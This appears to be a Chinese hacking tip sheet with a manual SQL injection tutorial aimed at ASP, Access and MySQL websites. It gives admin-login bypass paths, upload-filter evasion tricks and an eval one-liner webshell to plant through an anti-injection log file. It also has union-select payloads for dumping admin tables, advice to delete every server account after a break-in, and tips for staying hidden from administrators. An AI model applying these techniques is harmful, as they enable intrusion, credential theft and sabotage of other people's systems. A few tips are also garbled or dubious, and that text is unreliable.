一些渗透和手工注入技巧

渗透技巧

1.某些cms的网站设置过滤不严,直接在网站后面加上admin/session.asp 或 admin/left.asp 可以绕过后台验证直接进去后台。

2.提下服务器之后建议抓下管理员哈希值,然后删除所有用户包括自己的,以后登录这台服务器就用管理员的账号密码登录,这样比较安全。

3.入侵网站之前连接下3389,可以连接上的话先尝试弱口令,不行就按5次shift键,看看有没有shift后门。

4.访问后台地址时弹出提示框“请登陆” 把地址记出来(复制不了)放到“网页源代码分析器”里,选择浏览器-拦截跳转勾选--查看即可直接进入后台。

5.突破防盗链系统访问shell代码:javascript:document.write(" ") 点击GO即可进入shell。

6.遇到一流信息监控拦截系统时,上传图片木马或是在木马代码最前面加上gif89a即可逃过检测。

7.eweb编辑器后台,增加了asp|asa|cer|php|aspx等扩展名上传时都被过滤了,尝试增加一个aaspsp,再上传asp就会解析了。

8.用注入工具猜解到表段却猜解不到字段的时候,到网站后台右键查看源文件,一般账号密码后面的就是字段,之后在注入工具里添加字段进行猜解即可。

9.当注入工具猜解表段,但猜解字段时提示长度超过50之类,不妨扔到穿山甲去猜解一下。

10.得知表段跟字段之后,使用SQL语句在ACCESS数据库里加个用户名及密码的语句:Insert into admin(user,pwd) values('jianmei','daxia')

11.当获得管理员密码却不知道管理员帐号时,到网站前台找新闻链接,一般“提交者”“发布者”的名字就是管理员的帐号了。

12.爆破ASP+IIS架设的网站web绝对路径,假设网站主页为:http://www.xxxxx/index.asp/?提交http://www.xxxxx.cn/fkbhvv.aspx/,fkbhvv.aspx是不存在的。

13.有的站长很懒什么也不改,当我们得知网站的cms的时候,不妨去下载一套找找数据库路径,以及敏感信息,再尝试默认相关的可利用资源。

14.菜刀里点击一句话木马右键,选择虚拟机终端,执行命令出现乱码时,返回去设置编码那里,将默认的GB2312改为UTF-8.

15.入侵千万别忘了ftp,试试诺口令,ftp的默认端口:21? 默认帐号密码:test

16.破解出md5为20位结果,只需要把前三位和后一位去掉,剩余16位拿去解密即可

17.好多网站的后台地址是:admin_index.asp manage_login.asp

18.有时在木马代码里加上了gif89a,上传成功访问的时候却出现了像图片一样的错误图像,说明服务器把gif89a当做图片来处理了,不要带gif89a即可。问就可以了。

19.找eweb编辑器的时候,如果默认的被改了,到前台去找图片右键看下路径,根据图片的目录猜eweb编辑器的目录,后台也是用此思路。

20.IIS注册表全版本泄漏用户路径和FTP用户名漏洞:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MSFtpsvc\Parameters\Virtual Roots\?

21.扫旁站的时候,是不是想看每个站点是什么cms呢?用轩辕剑扫描就可以显示系统特征。

22.网站的主站一般都很安全,这时就要旁注或C段了,但是想知道各个IP段开放了什么端口吗?用“啊D网络工具包”里面的IP端口扫描最理想了。

23.手工检测注入点弹出“你的操作已被记录!”之类的信息,访问这个文件:sqlin.asp,如果存在,在注入点后面植入一句话木马:‘excute(request("TNT"))

接着用一句话木马客户端连接:http://www.xxx.com/sqlin.asp,上传木马即可拿下shell,因为很多防注入程序都是用”sqlin.asp“这个文件名来做非法记录的数据库。

24.有的后台不显示验证码,往注册表里添加一个ceg即可突破这个困境了,把下面的代码保存为Code.reg,双击导入就可以了。

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]

"BlockXBM"=dword:00000000

25.内网渗透时尽量少登录3389,以免被管理员发现。

26.旁注的时候,建议挑php的站点来日,因为php站点一般都支持aspx脚本,这样对于提权跟跨目录都轻松!

手工注入

IE浏览器-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉,否则不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的信息。

手工注入时如果网站过滤了 and 1=1? and 1=2 ,可以用xor 1=1? xor 1=2 进行判断。

第一步:找注入点

(数字型)http://www.xxx.com/show.asp?id=7

加'?????????? 程序报错

加and 1=1???? 返回正常页面

加and 1=2???? 返回错误页面

(字符型)http://www.xxx.com/show.asp?id=ade7

加'??????????? 程序报错

加'and '1'='1? 返回正常页面

加'and '1'='2? 返回错误页面

新型检测注入点的方法:

在URL地址后面加上-1,若返回的页面和前面不同,是另一个正常的页面,则表示存在注入漏洞,而且是数字型的注入漏洞。

在URL地址后面加上-0,若返回的页面和之前的页面相同,然后加上-1,返回错误页面,则也表示存在注入漏洞,而且是数字型的。

如果报错提示这个:

Microsoft JET Database Engine 错误 '80040e14'

语法错误 (操作符丢失) 在查询表达式 'ID = 6 ord by' 中。

/fun/Function.asp,行 657

?

解明:通过 JET 引擎连接数据库,则是 Access数据库,通过 ODBC 引擎连接数据库,则是 MSSQL数据库。

?

第二步:猜字段数

语句:order by 5

如果猜6的时候返回出错,就继续往回猜,直到返回正确为止...

第三步:UNION命令

语句:and 1=2 union select 1,2,3,4,5--

看看哪里可以替换,假如显示有2,就在2这里替换SCHEMA_NAME,见下

第三步:猜库名

语句:and 1=2 union select 1,SCHEMA_NAME,3,4,5 from information_schema.SCHEMATA limit 1,1

第四步:猜表段

语句:and 1=2 union select 1,TABLE_NAME,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=0x68667A7338383838 limit 1,1

注意,TABLE_SCHEMA=后面的库名必须是hex转换过的格式,倒数第二个1一直替换,直到爆出所有表段,然后选最可能性的那个。

第五步:猜字段

and 1=2 union select 1,COLUMN_NAME,3,4,5 from? information_schema.COLUMNS where TABLE_NAME=0x615F61646D696E limit 1,1

注意,TABLE_SCHEMA=后面的表段必须是hex转换过的格式,倒数第二个1一直替换,直到爆出所有字段,然后选最可能性的那两个。

第六步:猜内容

语句一:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin

首先让程序报错,所以在注入点后面加上 and 1=2

语句二:http://www.xxx.com/show.asp?id=-178?union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin

同样是先让程序报错,在178这个参数前面加上 -

当列名帐号跟列名密码都猜解对的时候,页面将会显示相对应的内容,一般的密码都经过MD5加密了,然后去解密md5的网站去解密就可以了。